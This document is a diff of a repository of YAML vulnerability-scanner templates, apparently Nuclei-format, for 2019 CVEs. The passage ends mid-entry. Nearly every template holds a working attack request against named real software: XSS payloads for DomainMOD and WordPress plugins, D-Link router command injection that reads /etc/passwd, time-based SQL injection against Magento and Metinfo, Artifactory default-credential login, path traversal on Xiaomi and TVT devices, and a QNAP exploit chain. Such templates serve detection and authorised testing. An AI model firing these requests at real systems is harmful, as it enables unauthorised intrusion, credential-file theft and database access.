4.13.0 contains a cross-site scripting vulnerability via /reporting/domains/cost-by-month.php in Daterange parameters. + remediation: | + Upgrade to the latest version of DomainMOD (>=4.13.1) to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/47325 - https://github.com/domainmod/domainmod/issues/108 + - https://nvd.nist.gov/vuln/detail/CVE-2019-15811 - https://zerodays.lol/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2019-15811 cwe-id: CWE-79 + epss-score: 0.00376 + epss-percentile: 0.69776 + cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:* metadata: - verified: "true" - tags: cve,cve2019,domainmod,xss,authenticated -requests: + verified: true + max-request: 2 + vendor: domainmod + product: domainmod + tags: cve,cve2019,domainmod,xss,authenticated,edb + +http: - raw: - | POST / HTTP/1.1 @@ -28,15 +39,15 @@ requests: - | GET /reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(document.domain)%22autofocus=%22 HTTP/1.1 Host: {{Hostname}} - cookie-reuse: true - redirects: true + + host-redirects: true max-redirects: 2 - req-condition: true matchers: - type: dsl dsl: - 'status_code_2 == 200' - - 'contains(all_headers_2, "text/html")' + - 'contains(header_2, "text/html")' - 'contains(body_2, "value=\"\"onfocus=\"alert(document.domain)\"autofocus=")' - 'contains(body_2, "DomainMOD")' condition: and +# digest: 4a0a00473045022077d234650866fcad6e0344d1bb4ce66629023b8b9ecf53b30036e0300db05cdb022100b5e68bb6d84efab5aeb53faaaf0c2928edd73875fa594ead65f4ff7b77fcb0dc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-16332.yaml b/poc/cve/CVE-2019-16332.yaml index 325a0ef906..578c5eb914 100644 --- a/poc/cve/CVE-2019-16332.yaml +++ b/poc/cve/CVE-2019-16332.yaml @@ -1,32 +1,51 @@ id: CVE-2019-16332 + info: - name: API Bearer Auth <= 20181229 - Reflected Cross-Site Scripting (XSS) + name: WordPress API Bearer Auth <20190907 - Cross-Site Scripting author: daffainfo severity: medium - description: In the api-bearer-auth plugin before 20190907 for WordPress, the server parameter is not correctly filtered in the swagger-config.yaml.php file, and it is possible to inject JavaScript code, aka XSS. + description: WordPress API Bearer Auth plugin before 20190907 contains a cross-site scripting vulnerability. The server parameter is not correctly filtered in swagger-config.yaml.php. + remediation: | + Update to the latest version of WordPress API Bearer Auth plugin (20190907 or later) to mitigate the vulnerability. reference: - https://plugins.trac.wordpress.org/changeset/2152730 - https://wordpress.org/plugins/api-bearer-auth/#developers - tags: cve,cve2019,wordpress,xss,wp-plugin + - https://nvd.nist.gov/vuln/detail/CVE-2019-16332 + - https://packetstormsecurity.com/files/154369/WordPress-API-Bearer-Auth-20181229-Cross-Site-Scripting.html + - https://wpvulndb.com/vulnerabilities/9868 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2019-16332 cwe-id: CWE-79 -requests: + epss-score: 0.00303 + epss-percentile: 0.66309 + cpe: cpe:2.3:a:api_bearer_auth_project:api_bearer_auth:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: api_bearer_auth_project + product: api_bearer_auth + framework: wordpress + tags: packetstorm,cve,cve2019,wordpress,xss,wp-plugin,auth + +http: - method: GET path: - '{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + matchers-condition: and matchers: - type: word + part: body words: - "" - part: body + - type: word part: header words: - text/html + - type: status status: - 200 +# digest: 490a00463044022040fb93580df87854d196d0841e6925f57e62129e45b1eb1314b0093b0e1b9783022039ab3698962c4e6c5fd26cc7b0cfbe1898b198800265360e800173ef96a56b9d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-16920.yaml b/poc/cve/CVE-2019-16920.yaml index f950571c5f..b85c54f160 100644 --- a/poc/cve/CVE-2019-16920.yaml +++ b/poc/cve/CVE-2019-16920.yaml @@ -1,57 +1,68 @@ id: CVE-2019-16920 + info: - name: Unauthenticated Multiple D-Link Routers RCE + name: D-Link Routers - Remote Code Execution author: dwisiswant0 severity: critical - description: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825. - # References: -# - https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r + description: D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565 contain an unauthenticated remote code execution vulnerability. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these issues also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825. + remediation: | + Apply the latest firmware update provided by D-Link to mitigate this vulnerability. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-16920 + - https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r + - https://fortiguard.com/zeroday/FG-VD-19-117 + - https://www.seebug.org/vuldb/ssvid-98079 + - https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-16920 + cwe-id: CWE-78 + epss-score: 0.96307 + epss-percentile: 0.99405 + cpe: cpe:2.3:o:dlink:dir-655_firmware:*:*:*:*:*:*:*:* + metadata: + max-request: 3 + vendor: dlink + product: dir-655_firmware + tags: cve,cve2019,dlink,rce,router,unauth,kev -requests: +http: - raw: - | POST /apply_sec.cgi HTTP/1.1 Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded - Connection: close - Referer: http://{{Hostname}}/ - Upgrade-Insecure-Requests: 1 + Referer: {{BaseURL}} + html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384 - | POST /apply_sec.cgi HTTP/1.1 Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0 - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/x-www-form-urlencoded - Connection: close - Referer: http://{{Hostname}}/login_pic.asp + Referer: {{BaseURL}}/login_pic.asp Cookie: uid=1234123 - Upgrade-Insecure-Requests: 1 + html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}} - | POST /apply_sec.cgi HTTP/1.1 Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0 - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/x-www-form-urlencoded - Connection: close - Referer: http://{{Hostname}}/login_pic.asp + Referer: {{BaseURL}}/login_pic.asp Cookie: uid=1234123 - Upgrade-Insecure-Requests: 1 + html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}} + matchers-condition: and matchers: - type: regex + part: body regex: - - "root:[x*]:0:0:" + - "root:.*:0:0:" - "\\[(font|extension|file)s\\]" condition: or - part: body + - type: status status: - 200 +# digest: 4a0a0047304502206031c4c9894dbd29c04238e91eeec9dff0b6d9466244641bb40bc7d28d09ba4e022100a984d5df61f5a81e718085326168a7498e7cfd0e939ab9163b072e98e3b6a836:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-16931.yaml b/poc/cve/CVE-2019-16931.yaml index e26b55142a..7cccc93c52 100644 --- a/poc/cve/CVE-2019-16931.yaml +++ b/poc/cve/CVE-2019-16931.yaml @@ -1,36 +1,24 @@ id: CVE-2019-16931 - info: - name: WordPress Visualizer <3.3.1 - Cross-Site Scripting + name: Visualizer < 3.3.1 - Stored Cross-Site Scripting (XSS) author: ritikchaddha severity: medium description: | - WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard. - remediation: | - Update to the latest version of WordPress Visualizer plugin (3.3.1) or apply the provided patch to fix the XSS vulnerability. + By abusing a lack of access controls on the /wp-json/visualizer/v1/update-chart WP-JSON API endpoint, an attacker can arbitrarily modify meta data of an existing chart, and inject a XSS payload to be stored and later executed when an admin goes to edit the chart. reference: - https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44 - https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf - - https://wpvulndb.com/vulnerabilities/9893 - https://nvd.nist.gov/vuln/detail/CVE-2019-16931 - - https://wordpress.org/plugins/visualizer/#developers + - https://wpvulndb.com/vulnerabilities/9893 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2019-16931 cwe-id: CWE-79 - epss-score: 0.00244 - epss-percentile: 0.62296 - cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:* metadata: - verified: true - max-request: 1 - vendor: themeisle - product: visualizer - framework: wordpress - tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth,wpscan - -http: + verified: "true" + tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth +requests: - raw: - | POST /wp-json/visualizer/v1/update-chart HTTP/1.1 @@ -38,20 +26,16 @@ http: Content-Type: application/json {"id": 7, "visualizer-chart-type": ""} - matchers-condition: and matchers: - type: word part: body words: - '{"success":"Chart updated"}' - - type: word part: header words: - 'application/json' - - type: status status: - 200 -# digest: 490a0046304402201162300a4a1008ff6e7816c548ab6a7c9eda5874490d9f1e5a4cf2776e0a8c7e02200ca8e2bbf0048985c24e20727805a50410d1e5fa575a0e5256ea8f6c6335103e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-16997.yaml b/poc/cve/CVE-2019-16997.yaml index 0a66f1f041..ed39ce8af4 100644 --- a/poc/cve/CVE-2019-16997.yaml +++ b/poc/cve/CVE-2019-16997.yaml @@ -1,30 +1,20 @@ id: CVE-2019-16997 info: - name: Metinfo 7.0.0 beta - SQL Injection + name: Metinfo 7.0.0 beta SQLI author: ritikchaddha severity: high - description: Metinfo 7.0.0 beta is susceptible to SQL Injection in app/system/language/admin/language_general.class.php via the admin/?n=language&c=language_general&a=doExportPack appno parameter. - remediation: | - Upgrade to a patched version of Metinfo or apply the necessary security patches to mitigate the SQL Injection vulnerability. + description: In Metinfo 7.0.0beta, a SQL Injection was discovered in app/system/language/admin/language_general.class.php via the admin/?n=language&c=language_general&a=doExportPack appno parameter. reference: - - https://github.com/XiaOkuoAi/XiaOkuoAi.github.io/issues/2 - https://nvd.nist.gov/vuln/detail/CVE-2019-16997 + tags: metinfo,sqli,cve,cve2019 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 + cvss-score: 7.20 cve-id: CVE-2019-16997 cwe-id: CWE-89 - epss-score: 0.24401 - epss-percentile: 0.96151 - cpe: cpe:2.3:a:metinfo:metinfo:7.0.0:beta:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: metinfo - product: metinfo - tags: metinfo,sqli,cve,cve2019 -http: +requests: - raw: - | POST /admin/?n=language&c=language_general&a=doExportPack HTTP/1.1 @@ -33,9 +23,8 @@ http: appno= 1 union SELECT 98989*443131,1&editor=cn&site=web - host-redirects: true + redirects: true max-redirects: 2 - matchers-condition: and matchers: - type: word @@ -46,4 +35,3 @@ http: - type: status status: - 200 -# digest: 4a0a004730450221009641dc75e6552b449873dcf173f9dcb40ba0d16193d101059747e91071eee2af0220541054ea7cf4bd15d4a977f1100d5dbed75d97c39f436b9e67d1f577c7f0446d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-17444.yaml b/poc/cve/CVE-2019-17444.yaml index 0f114099df..14e1fa3426 100644 --- a/poc/cve/CVE-2019-17444.yaml +++ b/poc/cve/CVE-2019-17444.yaml @@ -1,13 +1,10 @@ id: CVE-2019-17444 - info: name: Jfrog Artifactory <6.17.0 - Default Admin Password author: pdteam severity: critical description: | Jfrog Artifactory prior to 6.17.0 uses default passwords (such as "password") for administrative accounts and does not require users to change them. This may allow unauthorized network-based attackers to completely compromise of Jfrog Artifactory. - remediation: | - Upgrade Jfrog Artifactory to version 6.17.0 or later and change the default admin password to a strong, unique one. reference: - https://www.jfrog.com/confluence/display/JFROG/Artifactory+Release+Notes - https://www.jfrog.com/confluence/display/JFROG/JFrog+Artifactory @@ -17,17 +14,8 @@ info: cvss-score: 9.8 cve-id: CVE-2019-17444 cwe-id: CWE-521 - epss-score: 0.08495 - epss-percentile: 0.93779 - cpe: cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:* - metadata: - max-request: 1 - vendor: jfrog - product: artifactory - framework: "-" tags: cve,cve2019,jfrog,default-login - -http: +requests: - raw: - | POST /ui/api/v1/ui/auth/login HTTP/1.1 @@ -37,7 +25,6 @@ http: Origin: {{RootURL}} {"user":"admin","password":"password","type":"login"} - matchers-condition: and matchers: - type: word @@ -46,8 +33,7 @@ http: - '"name":"admin"' - '"admin":true' condition: and - - type: status status: - 200 -# digest: 4a0a004730450221009445e5d84b88c35e56a2781ef7365a85af3b330df1846a4b4d3fb3051154ffb602201b670d304cc85b48546600ffbb55a603467c1719ebd5ed0fa5ecc0a3de1a23d4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/05/16 diff --git a/poc/cve/CVE-2019-18371.yaml b/poc/cve/CVE-2019-18371.yaml index 73d8005fe0..56853b7955 100644 --- a/poc/cve/CVE-2019-18371.yaml +++ b/poc/cve/CVE-2019-18371.yaml @@ -1,13 +1,10 @@ id: CVE-2019-18371 - info: name: Xiaomi Mi WiFi R3G Routers - Local file Inclusion author: ritikchaddha severity: high description: | Xiaomi Mi WiFi R3G devices before 2.28.23-stable are susceptible to local file inclusion vulnerabilities via a misconfigured NGINX alias, as demonstrated by api-third-party/download/extdisks../etc/config/account. With this vulnerability, the attacker can bypass authentication. - remediation: | - Update the firmware of the Xiaomi Mi WiFi R3G routers to the latest version, which includes a fix for the local file inclusion vulnerability. reference: - https://ultramangaia.github.io/blog/2019/Xiaomi-Series-Router-Command-Execution-Vulnerability.html - https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/arbitrary_file_read_vulnerability.py @@ -17,27 +14,18 @@ info: cvss-score: 7.5 cve-id: CVE-2019-18371 cwe-id: CWE-22 - epss-score: 0.02376 - epss-percentile: 0.88676 - cpe: cpe:2.3:o:mi:millet_router_3g_firmware:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: mi - product: millet_router_3g_firmware - tags: cve2019,cve,lfi,router,mi,xiaomi - -http: + tags: xiaomi,cve2019,cve,lfi,router,mi,router +requests: - method: GET path: - "{{BaseURL}}/api-third-party/download/extdisks../etc/passwd" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4b0a00483046022100dc484268f9b3986fba9aaba57fc80a7990e244618417f5abff937147061aa742022100a097a3e32cb299f2b18863620145642e862a0bd82899504650f9fd8faef093a8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/06/17 diff --git a/poc/cve/CVE-2019-19134.yaml b/poc/cve/CVE-2019-19134.yaml index b0eac62b18..aeb359c7f2 100644 --- a/poc/cve/CVE-2019-19134.yaml +++ b/poc/cve/CVE-2019-19134.yaml @@ -1,51 +1,34 @@ id: CVE-2019-19134 - info: - name: WordPress Hero Maps Premium <=2.2.1 - Cross-Site Scripting + name: Hero Maps Premium < 2.2.3 - Unauthenticated Reflected Cross-Site Scripting (XSS) author: daffainfo severity: medium - description: WordPress Hero Maps Premium plugin 2.2.1 and prior contains an unauthenticated reflected cross-site scripting vulnerability via the views/dashboard/index.php p parameter. - remediation: | - Update to the latest version of the WordPress Hero Maps Premium plugin (>=2.2.2) or apply the vendor-provided patch to fix the XSS vulnerability. + description: The Hero Maps Premium plugin 2.2.1 and prior for WordPress is prone to unauthenticated XSS via the views/dashboard/index.php p parameter because it fails to sufficiently sanitize user-supplied input - https://wpscan.com/vulnerability/24b83ce5-e3b8-4262-b087-a2dfec014985 reference: - https://wpscan.com/vulnerability/d179f7fe-e3e7-44b3-9bf8-aab2e90dbe01 - https://www.hooperlabs.xyz/disclosures/cve-2019-19134.php - https://heroplugins.com/product/maps/ - https://heroplugins.com/changelogs/hmaps/changelog.txt - - https://nvd.nist.gov/vuln/detail/CVE-2019-19134 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2019-19134 cwe-id: CWE-79 - epss-score: 0.00203 - epss-percentile: 0.58127 - cpe: cpe:2.3:a:heroplugins:hero_maps_premium:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: heroplugins - product: hero_maps_premium - framework: wordpress - tags: wpscan,cve,cve2019,wordpress,xss,wp-plugin,maps - -http: + tags: cve,cve2019,wordpress,xss,wp-plugin,maps +requests: - method: GET path: - '{{BaseURL}}/wp-content/plugins/hmapsprem/views/dashboard/index.php?p=/wp-content/plugins/hmapsprem/foo%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - matchers-condition: and matchers: - type: word - part: body words: - 'foo">' - + part: body - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 4b0a00483046022100e0874949c701e5c407bd53c31d0ffac7f07509846faf1267a30417f08f8b0921022100cbe70820dc67eeb4fd332e63417044949de5ffd42e7f12d8009bc90676099608:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-20085.yaml b/poc/cve/CVE-2019-20085.yaml index 77df4cd49c..605d0be619 100644 --- a/poc/cve/CVE-2019-20085.yaml +++ b/poc/cve/CVE-2019-20085.yaml @@ -1,33 +1,21 @@ id: CVE-2019-20085 info: - name: TVT NVMS 1000 - Local File Inclusion + name: TVT NVMS 1000 - Directory Traversal author: daffainfo severity: high - description: | - TVT NVMS-1000 devices allow GET /.. local file inclusion attacks. - remediation: | - Apply the latest security patches or updates provided by the vendor to fix the local file inclusion vulnerability in TVT NVMS 1000 software. + description: TVT NVMS-1000 devices allow GET /.. Directory Traversal reference: - - https://www.exploit-db.com/exploits/48311 - - https://www.exploit-db.com/exploits/47774 - - http://packetstormsecurity.com/files/157196/TVT-NVMS-1000-Directory-Traversal.html - https://nvd.nist.gov/vuln/detail/CVE-2019-20085 + - https://www.exploit-db.com/exploits/48311 + tags: cve,cve2019,iot,lfi classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 + cvss-score: 7.50 cve-id: CVE-2019-20085 cwe-id: CWE-22 - epss-score: 0.69009 - epss-percentile: 0.9767 - cpe: cpe:2.3:o:tvt:nvms-1000_firmware:-:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: tvt - product: nvms-1000_firmware - tags: cve,cve2019,iot,lfi,kev,edb,packetstorm -http: +requests: - method: GET path: - "{{BaseURL}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini" @@ -35,11 +23,9 @@ http: matchers-condition: and matchers: - type: regex - part: body regex: - "\\[(font|extension|file)s\\]" - + part: body - type: status status: - 200 -# digest: 4a0a0047304502203eb54dc090df43eb90aed1ec6f7d0be370394ce001d605bb40e33c2cd2323c10022100a7cdab367c271284b7b4919d28be2fa08e26e9b7db33c899284eba1430a5c87f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-2616.yaml b/poc/cve/CVE-2019-2616.yaml index 8575f8f378..f6c8aa1ffb 100644 --- a/poc/cve/CVE-2019-2616.yaml +++ b/poc/cve/CVE-2019-2616.yaml @@ -1,30 +1,19 @@ id: CVE-2019-2616 - info: - name: Oracle Business Intelligence/XML Publisher - XML External Entity Injection + name: XXE in Oracle Business Intelligence and XML Publisher author: pdteam severity: high - description: Oracle Business Intelligence and XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 are vulnerable to an XML external entity injection attack. - remediation: | - Apply the necessary patches or updates provided by Oracle to fix this vulnerability. + description: Oracle Business Intelligence / XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - XML External Entity Injection reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-2616 - https://www.exploit-db.com/exploits/46729 - http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html - - https://nvd.nist.gov/vuln/detail/CVE-2019-2616 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cve-id: CVE-2019-2616 - epss-score: 0.93837 - epss-percentile: 0.9891 - cpe: cpe:2.3:a:oracle:business_intelligence_publisher:11.1.1.9.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: oracle - product: business_intelligence_publisher - tags: cve,cve2019,oracle,xxe,oast,kev,edb - -http: + tags: cve,cve2019,oracle,xxe,oast,kev +requests: - raw: - | POST /xmlpserver/ReportTemplateService.xls HTTP/1.1 @@ -33,10 +22,8 @@ http: Content-Type: text/xml; charset=UTF-8 - matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" -# digest: 4a0a0047304502204ebea11db80f8573b9fe135a69fb43402356bdb57922e77068dd3985fd4a5116022100e3c65b6c6eaac40895c8605e6dd6c0da08c791b28ba29c62a4cb40192f5a96bc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-7139.yaml b/poc/cve/CVE-2019-7139.yaml new file mode 100644 index 0000000000..bb8ecfc9e5 --- /dev/null +++ b/poc/cve/CVE-2019-7139.yaml @@ -0,0 +1,70 @@ +id: CVE-2019-7139 + +info: + name: Magento - SQL Injection + author: MaStErChO + severity: critical + description: | + An unauthenticated user can execute SQL statements that allow arbitrary read access to the underlying database, which causes sensitive data leakage. + remediation: This issue is fixed in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2. + reference: + - https://pentest-tools.com/blog/exploiting-sql-injection-in-magento-with-sqlmap + - https://www.ambionics.io/blog/magento-sqli + - https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-13 + - https://github.com/koutto/jok3r-pocs + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-7139 + cwe-id: CWE-89 + epss-score: 0.00582 + epss-percentile: 0.778 + cpe: cpe:2.3:a:magento:magento:*:*:*:*:open_source:*:*:* + metadata: + verified: true + max-request: 4 + vendor: magento + product: magento + framework: magento + shodan-query: http.component:"Magento" + tags: cve,cve2019,sqli,magento + +http: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + - | + @timeout: 20s + GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT*FROM+(SELECT+SLEEP((6)))a)%3d1+--+- HTTP/1.1 + Host: {{Hostname}} + + - | + GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20- HTTP/1.1 + Host: {{Hostname}} + + - | + GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=1)%20--%20- HTTP/1.1 + Host: {{Hostname}} + + stop-at-first-match: true + matchers: + - type: dsl + name: time-based + dsl: + - 'duration_2>=6' + - 'status_code_1 == 200' + - 'contains(body_1, "text/x-magento-init")' + - 'contains(content_type_2, "application/json")' + condition: and + + - type: dsl + name: blind-based + dsl: + - 'contains(body_1, "text/x-magento-init")' + - 'contains(content_type_3, "application/json") && contains(content_type_4, "application/json")' + - 'status_code_3 == 200 && status_code_4 == 400' + - 'len(body_3) == 2 && len(body_4) == 2' + condition: and +# digest: 490a0046304402200eea406b4dd10703c590fb378ef5037c6dd0f56ba1b1059e66e8105bca0f38f7022021af5ceb6e9087fbafeb243ba19617bd9e3e9aaff723ebd4fea7892cee66428d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-7192.yaml b/poc/cve/CVE-2019-7192.yaml index f61ab0aa90..171acf70a9 100644 --- a/poc/cve/CVE-2019-7192.yaml +++ b/poc/cve/CVE-2019-7192.yaml @@ -1,85 +1,16 @@ id: CVE-2019-7192 - info: - name: QNAP QTS and Photo Station 6.0.3 - Remote Command Execution - author: DhiyaneshDK - severity: critical - description: | - This improper access control vulnerability allows remote attackers to gain unauthorized access to the system. To fix these vulnerabilities, QNAP recommend updating Photo Station to their latest versions. - remediation: | - Apply the latest security patch or upgrade to a non-vulnerable version of QNAP QTS and Photo Station. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2019-7192 - - https://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html - - https://patchstack.com/database/vulnerability/all-in-one-wp-migration/wordpress-all-in-one-wp-migration-plugin-7-62-unauthenticated-reflected-cross-site-scripting-xss-vulnerability - - https://nvd.nist.gov/vuln/detail/CVE-2022-2546 - - https://medium.com/@cycraft_corp/qnap-pre-auth-root-rce-affecting-312k-devices-on-the-internet-fc8af285622e - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2019-7192 - cwe-id: CWE-863 - epss-score: 0.96581 - epss-percentile: 0.9951 - cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 3 - vendor: qnap - product: photo_station - shodan-query: 'Content-Length: 580 "http server 1.0"' - tags: packetstorm,cve,cve2019,lfi,rce,kev,qnap,qts - -http: - - raw: - - | - POST /photo/p/api/album.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - a=setSlideshow&f=qsamplealbum - - | - GET /photo/slideshow.php?album={{album_id}} HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - | - POST /photo/p/api/video.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - album={{album_id}}&a=caption&ac={{access_code}}&f=UMGObv&filename=.%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd - - matchers-condition: and + name: QNAP Photo Station RCE + author: medbsq + severity: medium + #https://www.cvebase.com/cve/2019/7192 +requests: + - method: GET + path: + - "{{BaseURL}}/photo/p/api/video.php" + headers: + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 matchers: - - type: regex - part: body_3 - regex: - - "admin:.*:0:0:" - - - type: word - part: header_3 - words: - - video/subtitle - - type: status - part: header_3 status: - - 200 - - extractors: - - type: regex - name: album_id - part: body_1 - group: 1 - regex: - - '([a-zA-Z]+)<\/output>' - internal: true - - - type: regex - name: access_code - part: body_2 - group: 1 - regex: - - encodeURIComponent\('([A-Za-z0-9]+)'\) - internal: true -# digest: 4b0a00483046022100f496dac2495955c66d62d3dd5b8f8e1a45fe53ed7a2cfa93efc06496fd8b9d3d0221008ec6e4d15168e5b87e2410f80b19d426d1bf56e62c61a05ed570cf78c81f1939:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - 401 diff --git a/poc/cve/CVE-2019-7219.yaml b/poc/cve/CVE-2019-7219.yaml index 5076968cb1..4b28f771c9 100644 --- a/poc/cve/CVE-2019-7219.yaml +++ b/poc/cve/CVE-2019-7219.yaml @@ -1,22 +1,31 @@ id: CVE-2019-7219 info: - name: Zarafa WebApp Reflected XSS + name: Zarafa WebApp <=2.0.1.47791 - Cross-Site Scripting author: pdteam severity: medium description: | - Unauthenticated reflected cross-site scripting (XSS) exists in Zarafa Webapp 2.0.1.47791 and earlier. NOTE: this is a discontinued product. The issue was fixed in later Zarafa Webapp versions; however, some former Zarafa Webapp customers use the related 